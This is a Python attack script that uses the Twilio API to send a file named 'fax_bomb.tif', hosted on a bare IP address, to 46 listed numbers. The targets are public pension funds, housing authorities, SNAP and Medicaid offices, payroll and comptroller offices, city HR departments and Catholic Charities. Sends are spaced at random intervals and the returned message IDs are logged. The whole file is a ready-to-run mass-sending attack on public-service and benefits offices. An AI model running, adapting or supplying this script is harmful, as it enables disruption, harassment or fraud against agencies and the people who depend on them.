#!/usr/bin/env python3
# send_all.py — fire all 46 unique targets via Twilio Fax, 18-28s apart
import base64, json, os, random, time, urllib.parse, urllib.request
ACCT, AUTH, FROM = os.environ["TWILIO_ACCT"], os.environ["TWILIO_AUTH"], os.environ["TWILIO_FROM"]
MEDIA = os.environ.get("FAX_MEDIA_URL", "http://138.124.77.214:8080/fax_bomb.tif")
SIDS = open("sids.txt", "a")
TARGETS = [
 ("(313) 293-3450","Wayne Co. MI - Retirees pension"),
 ("(313) 967-1228","Wayne Co. MI - Employee benefits"),
 ("(714) 480-2999","Orange County Housing Authority"),
 ("608-267-4549","Wisconsin employee trust funds"),
 ("651-797-1305","Minnesota M&B Payroll"),
 ("212-313-3115","NYC childcare providers"),
 ("617-887-8765","MA SNAP EBT"),
 ("1-888-338-7410","Washington SNAP EBT"),
 ("(775) 684-0844","NV social services"),
 ("401) 415-8349","Providence Regional Family Center"),
 ("917-639-1111","NYC SNAP"),
 ("503-945-6860","OR human services / medicaid"),
 ("925-521-3969","Contra Costa County Pension"),
 ("410-974-2309","Maryland vendors"),
 ("(615) 252-6614","Nashville housing authority"),
 ("717-963-2611","Harrisburg housing authority"),
 ("(313) 392-9254","Detroit housing authority"),
 ("(831) 469-3712","Santa Cruz Housing Authority"),
 ("(956)722-6561","City of Laredo housing authority"),
 ("(425) 290-5618","Snohomish county housing authority"),
 ("513.665.3102","Cincinnati housing authority"),
 ("678-228-1465","Housing Authority of Fulton County"),
 ("719-632-7807","Colorado Springs housing authority"),
 ("(505) 954-0370","NM PERA"),
 ("503-598-0561","OR pension"),
 ("(775) 687-5131","NV PERS"),
 ("(860) 525-6018","CT teachers retirement"),
 ("(518) 270-2222","NYS comptroller"),
 ("(302) 622-4113","Delaware unclaimed property"),
 ("617-367-3645","Tangle property MA"),
 ("717-705-6797","PA treasury general holder"),
 ("410-974-2473","MD Comptroller - Administration"),
 ("410-260-7407","MD Comptroller - Operations"),
 ("410-974-2035","MD Comptroller - Accounting"),
 ("(213) 473-7297","LA City Employee Retirement System"),
 ("(206) 684-4157","City of Seattle HR"),
 ("(206) 386-1506","City of Seattle retirees"),
 ("503-865-3270","City of Portland Health and Benefits"),
 ("505-768-3760","City of Albuquerque HR"),
 ("505-768-3493","Albuquerque Central Payroll"),
 ("(602) 495-2008","City of Phoenix employee retirement"),
 ("(303) 839-9525","Denver City Employee Retirement Pension"),
 ("505-827-1223","NM Central Payroll"),
 ("(518) 785-4894","Catholic charities Albany"),
 ("(213) 380-4603","Catholic charities Los Angeles"),
 ("(305) 754-6649","Catholic charities Miami"),
]
def send(number, org):
    d = {"To": number, "From": FROM, "MediaUrl": MEDIA}
    req = urllib.request.Request(
        "https://api.twilio.com/2010-04-01/Accounts/%s/Messages.json" % ACCT,
        urllib.parse.urlencode(d).encode(),
        headers={"Content-Type": "application/x-www-form-urlencoded",
                 "Authorization": "Basic " + base64.b64encode(
                     ("%s:%s" % (ACCT, AUTH)).encode()).decode()})
    try:
        with urllib.request.urlopen(req, timeout=60) as r:
            j = json.loads(r.read())
            SIDS.write(j["sid"] + "\n"); SIDS.flush()
            print("OK   %-22s %-44s %s" % (number, org, j["sid"]), flush=True)
    except Exception as e:
        print("FAIL %-22s %-44s %s" % (number, org, repr(e)), flush=True)
seen, t0 = set(), time.time()
for number, org in TARGETS:
    key = "".join(c for c in number if c.isdigit())
    if key in seen:
        print("SKIP dup", number); continue
    seen.add(key)
    send(number, org)
    time.sleep(random.uniform(18, 28))
print("all sent in %d min" % int((time.time() - t0) / 60))
